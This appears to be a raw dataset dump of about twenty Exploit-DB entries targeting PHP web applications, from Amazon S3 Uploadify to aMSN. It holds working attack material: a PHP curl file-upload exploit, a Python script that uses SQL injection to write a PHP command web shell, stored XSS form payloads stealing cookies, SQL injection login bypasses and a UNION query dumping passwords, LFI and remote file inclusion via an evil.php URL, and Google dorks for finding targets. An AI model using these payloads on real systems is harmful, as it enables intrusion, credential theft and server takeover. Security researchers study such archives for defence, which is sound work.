deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37450
Description: Amazon S3 Uploadify Script - 'Uploadify.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-23
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54170/info

Amazon S3 Uploadify Script is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Amazon S3 Uploadify Script 1.01 is vulnerable; other versions may also be affected. 

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Sammy FORGIT member from Inj3ct0r Team             1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
##################################################
# Description : uploadify-amazon-s3 Arbitrary File Upload Vulnerability
# Version : 1.01
# Link : http://code.google.com/p/uploadify-amazon-s3/
# Software : http://code.google.com/p/uploadify-amazon-s3/downloads/detail?name=uploadify-amazon-s3-101.zip&can=2&q=
# Date : 21-06-2012
# Google Dork : inurl:/files/uploadify/ -google
# Site : 1337day.com Inj3ct0r Exploit Database
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################


Exploit :

<?php

$uploadfile="lo.php";

$ch = curl_init("http://www.exemple.com/files/uploadify/uploadify.php?folder=/files/uploadify/");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>

Shell Access : http://www.exemple.com/files/uploadify/lo.php

lo.php
<?php
phpinfo();
?>


# Site : 1337day.com Inj3ct0r Exploit Database
Exploit-DB #4652
Description: Amber Script 1.0 - 'show_content.php?id' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-11-24
Author: Crackers_Child

Exploit:
+______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       Amber Script 1.0
*    [~] Download.....:       http://rapidshare.com/files/54891799/Amber_Script_1.0.rar (Nulled)
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Local File Inclusion
*    [~] Demo.........:       http://www.script4sale.info/demo/amber/
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Lfi...:     http://[Taget]/[amber_path]/scripts/include/show_content.php?id=LFÄ° %00
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] iNF0......:   F3CK Y0UR simple Lf3
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-11-24]
Exploit-DB #42799
Description: AMC Master - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-09-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Annual Maintenance Contract Management System - Arbitrary File Upload
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://mojoomla.com/
# Software Link: https://codecanyon.net/item/amc-master-annual-maintenance-contract-management-system/20667703
# Demo: http://dasinfomedia.com.au/php/amc/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# 
# The vulnerability allows an users upload arbitrary file....
# 
# Vulnerable Source:
# 
#         if(isset($id)){
#             $user_d=$this->request->data;
#             $this->row_update=$this->table_user->get($id);
#             $this->set('emp_update_row',$this->row_update);
# 
#             if($this->request->is(['post','put'])){
# 				
# 				  $get_output=$this->check_update_email($this->row_update,$this->request->data('email'));
# 							
# 						if($get_output == true){
# 
#                 if(isset($_FILES['image']['name']) && !empty($_FILES['image']['name'])){
#                     move_uploaded_file($_FILES['image']['tmp_name'],$this->user_image.$_FILES['image']['name']);
#                     $this->store_image=$_FILES['image']['name'];
#                 }else{
#                     $this->store_image=$this->request->data('old_image');
#                 }
# 	
# Proof of Concept: 
# 
# http://localhost/[PATH]/account/profilesetting/[ID]
# http://localhost/[PATH]/img/user/[FILE]
# 
# Etc..
# # # # #
Exploit-DB #11504
Description: Amelia CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-19
Author: Ariko-Security

Exploit:
# Title: [SQL injection vulnerability in Amelia CMS]
# Date: [10.02.2010]
# Author: [Ariko-Security]
# Software Link: [http://www.ameliadesign.eu/]
# Version: [ALL]
# Tested on: [freebsd / ubuntu]


============ { Ariko-Security - Advisory #2/2/2010 } =============

SQL injection vulnerability in Amelia CMS


Vendor's Description of Software:
# http://www.ameliadesign.eu/index.php?page=1322&lang=eng&cnt=services

Dork:
# N/A

Application Info:
# Name: Amelia CMS
# Versions: ALL

Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: High

Fix:
# N/A

Time Table
# 10/02/2009 - Vendor notified.


Input passed via the "page" parameter to index.php is not properly

sanitised before being used in a SQL query and it is possible to get

sensitive information using for example Time-Base Blind SQL Injection

attacks.


Solution:
# Input validation of "page" parameter should be corrected.


Vulnerability:
# http://www.[site]/index.php?page=1322[SQLi]&lang=eng&cnt=services

Credit:
# Discoverd By: MG
# Website: http://Ariko-security.com
# Contacts: support[-at-]ariko-security.com
Exploit-DB #26237
Description: AMember Pro 2.3.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-09-08
Author: NewAngels Team

Exploit:
source: https://www.securityfocus.com/bid/14777/info

aMember is prone to a remote file include vulnerability.

Input passed to various scripts is not sufficiently sanitized. An attacker could host arbitrary malicious code in a file at an attacker-controlled site and include the file using a URI parameter.

This issue may be leveraged to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

aMember Pro 2.3.4 is reportedly affected, other versions may also be vulnerable. 

config[root_dir]=http://example.com/evil.php?
Exploit-DB #14564
Description: Amethyst 0.1.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-05
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22502
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_2.html
Product: Amethyst
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst )
Vulnerable Version: 0.1.5 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the admin/update script to properly sanitize user-supplied input in "post[title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/update/2" method="post" name="main" >

<input type="hidden" name="post[title]" value='title"><script>alert(document.cookie)</script>' />
<input type="hidden" name="post[content]" value="this is my post" />
<input type="hidden" name="post[created_at(1i)]" value="2010" />
<input type="hidden" name="post[created_at(2i)]" value="7" />
<input type="hidden" name="post[created_at(3i)]" value="15" />
<input type="hidden" name="post[created_at(4i)]" value="20" />
<input type="hidden" name="post[created_at(5i)]" value="39" />
<input type="hidden" name="post[updated_at(1i)]" value="2010" />
<input type="hidden" name="post[updated_at(2i)]" value="7" />
<input type="hidden" name="post[updated_at(3i)]" value="15" />
<input type="hidden" name="post[updated_at(4i)]" value="20" />
<input type="hidden" name="post[updated_at(5i)]" value="39" />
<input type="hidden" name="commit" value="Create" />

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version
Exploit-DB #31652
Description: amfPHP 1.2 - '/browser/code.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-04-15
Author: Alberto Cuesta Partida

Exploit:
source: https://www.securityfocus.com/bid/28789/info
 
Amfphp is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
 
Amfphp 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/amfphp/browser/code.php?class=[xss]
http://www.example.com/amfphp/browser/code.php?action=&codeType=&class=[xss]&location=[xss]
Exploit-DB #31653
Description: amfPHP 1.2 - '/browser/details?class' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-15
Author: Alberto Cuesta Partida

Exploit:
source: https://www.securityfocus.com/bid/28789/info
  
Amfphp is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
  
Amfphp 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/amfphp/browser/details.php?class=[xss]
Exploit-DB #31651
Description: amfPHP 1.2 - '/browser/methodTable.php?class' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-15
Author: Alberto Cuesta Partida

Exploit:
source: https://www.securityfocus.com/bid/28789/info

Amfphp is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

Amfphp 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/amfphp/browser/methodTable.php?class=[xss]
Exploit-DB #17402
Description: AMHSHOP 3.7.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-06-15
Author: Yassin Aboukir

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Title            : AMHSHOP 3.7.0 SQL Injection
[+] Name             : AMHSHOP 3.7.0
[+] Affected Version : v3.7.0
[+] Description      : it's an arabic Shopping Script [Payable]
[+] Software         : http://amhserver.com/37/ & http://www.metjar.com/
[+] Tested on        : (L):Vista & Windows Xp and Windows 7
[+] Dork             : Powered by AMHSHOP 3.7.0
[+] Date             : 14/06/2011
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author           : Yassin Aboukir
[+] Contact          : 01Xp01@Gmail.com
[+] Site             : http://www.yaboukir.com
[+] Greetz           : Th3 uNkn0wnS Team ! & All My friends 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Error:
            MySQL

           * Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''users_login_forgotpassword'' AND user_id = '' LIMIT 1' at line 1
           * Error Number:1064
           * SQL: SELECT restricted FROM userspermission WHERE page = 'users_login_forgotpassword'' AND user_id = '' LIMIT 1 



# we had contacted the owner before and some websites have fixed the bug ;)

[-]   Exploit:-

    # http://[localhost]/Path/admin/index.php?module=users&page=login&event=[SQL]
    # http://[localhost]/Path/admin/index.php?module=users&page=login&event=forgotpassword'


G00D LUCK ALL :)
Exploit-DB #34459
Description: Amiro.CMS 5.4 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2009-10-19
Author: Vladimir Vorontsov

Exploit:
source: https://www.securityfocus.com/bid/42430/info

Amiro.CMS is prone to multiple input-validation vulnerabilities including multiple cross-site scripting issues, an HTML-injection issue, and an information-disclosure issue.

An attacker may leverage the issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user and disclose sensitive information which may aid in launching further attacks.

Amiro.CMS 5.4.0 is affected; other versions may be vulnerable as well. 

'status_msg' = a: 2: (s: 3: "sys"; a: 0: () s: 5: "plain"; a: 1: (i: 0; a: 2: (s: 3: "msg "; s: 68:" ONsec.ru - XSS test [ALERT] \ "); alert (document.cookie) / / alert ([/ ALERT]"; s: 4: "type"; s: 4: "none ";}}}
Exploit-DB #9867
Description: Amiro.CMS 5.4.0.0 - Path Disclosure
Type: webapps
Platform: php
Date: 2009-10-19
Author: Vladimir Vorontsov

Exploit:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[ONSEC-09-005] Amiro.CMS root folder disclosure 
Objective: Amiro CMS <= 5.4.0.0 
Type: Disclosure of ways 
Threat: Medium 
Date Discovered: 01.07.2009 
Date of notification Developer: 01.07.2009 
Released fixes: 06.10.2009 
Author: Vladimir Vorontsov 
OnSec Russian Security Group (onsec [dot] ru) 
Description: A vulnerability exists due to improper handling-line user name
to log into the administrative console. When you enter your user name%%%
attacker can gain information on the full path when you install
applications, as well as some of the names of internal variables. In
consequence of the fact that the function quits, the administrator does not
know of the compromise of the system through the module, "History of
logins. 

Implementation: 

In the administrative console login prompt, enter the user name: 

%%% 

and will realize the login attempt

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
References: (on Russian)
http://onsec.ru/vuln?id=11
http://onsec.ru/vuln?id=12
Exploit-DB #32840
Description: Amoot Web Directory - Password Field SQL Injection
Type: webapps
Platform: php
Date: 2009-03-05
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/34016/info

Amoot Web Directory is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[Path]/modir

Username:admin
Password: ' or '
Exploit-DB #33421
Description: Ampache 3.4.3 - 'login.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-12-18
Author: R3d-D3V!L

Exploit:
source: https://www.securityfocus.com/bid/37417/info

Ampache is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Ampache 3.4.3 is vulnerable; other versions may also be affected.

The following data is available:

username : x' or ' 1=1
password : x' or ' 1=1
Exploit-DB #35716
Description: Ampache 3.5.4 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-09
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47756/info

Ampache is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Ampache 3.5.4 is vulnerable; other versions may also be affected.

<html> <body onload="document.forms[0].submit()"> <form method="POST" action="http://localhost/ampache-3.5.4/login.php"> <input type="hidden" name="username" value=""><script>alert(0)</script>" /> </form> </body> </html>
Exploit-DB #31075
Description: AmpJuke 0.7 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-29
Author: ShaFuck31

Exploit:
source: https://www.securityfocus.com/bid/27498/info

AmpJuke is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AmpJuke 0.7.0 is vulnerable; other versions may also be affected. 

http://www.example.com/scriptpath/index.php?what=search&start=0&dir=ASC&sorttbl=track&order_by=track.name&limit=[Xss]
Exploit-DB #32461
Description: AmpJuke 0.7.5 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-03
Author: S_DLA_S

Exploit:
source: https://www.securityfocus.com/bid/31592/info

AmpJuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AmpJuke 0.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/ampjukedemo/index.php?what=performerid&start=0&count='20&special=-2/**/UNION/**/SELECT/**/1,concat(name,0x3A7C3A,password)/**/FROM/**/user/**/WHERE/**/id=1/*
Exploit-DB #28960
Description: aMSN 0.98.9 Web App - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-10-14
Author: drone

Exploit:
# Exploit Title: aMSN LFI/SQLi
# Date: 10/09/2013
# Exploit author: drone (@dronesec)
# Vendor homepage: http://www.amsn-project.net
# Software link: sourceforge.net/projects/amsn/files/amsn/0.98.9/aMSN-0.98.9-tcl85-windows-installer.exe
# Version: 0.98.9
# Fixed in: SVN repositories (r12422)
# Tested on: Ubuntu 12.04 (apparmor disabled)

from argparse import ArgumentParser
import urllib2
import string
import random

"""
    Preauth LFI and SQLi in the web app packaged with aMSN 0.98.9
"""

def lfi(options):
    """ exploit the LFI
    """
    addr = 'http://{0}{1}/bugs/report.php?lang=../../../../../{2}'.format(\
                            options.ip, options.root, options.lfi)
    data = urllib2.urlopen(addr).read().rstrip().split("ERROR")[0]
    print data

def run(options):
    """ exploit lfi or sqli
    """
    if options.lfi:
        return lfi(options)

    shell = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(5))
    sqli = 'http://{0}{1}/bugs/admin/index.php?show=bug&id='.format(options.ip, options.root)

    # ' UNION SELECT '<?php system($_GET['cmd']) ?>,2,3,4,5,6,7,8,9 INTO OUTFILE 'yourshell';-- -
    exploit = '1\'%20UNION%20SELECT%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\',2,3,4,5,6,7,8,9%20'\
              'INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'.format(options.path,shell)

    urllib2.urlopen(sqli + exploit)
    print '[!] Shell dropped.  http://%s%s/%s.php?cmd=ls' % (options.ip, options.root, shell)

def parse_args():
    parser = ArgumentParser()
    parser.add_argument("-i", help='Server address', action='store', dest='ip', required=True)
    parser.add_argument('-l', help='Local file inclusion', action='store', dest='lfi',
                              metavar='[file]')
    parser.add_argument('-p', help='Path to amsn [/amsn]', action='store', dest='root',
                              default='/amsn')
    parser.add_argument('-w', help='Path to drop shell [/var/www/amsn', dest='path',
                              default='/var/www/amsn')

    options = parser.parse_args()
    options.path = options.path if options.path[-1] != '/' else options.path[:-1]
    options.root = options.root if options.root[-1] != '/' else options.root[:-1]
    return options

if __name__ == "__main__":
    run(parse_args())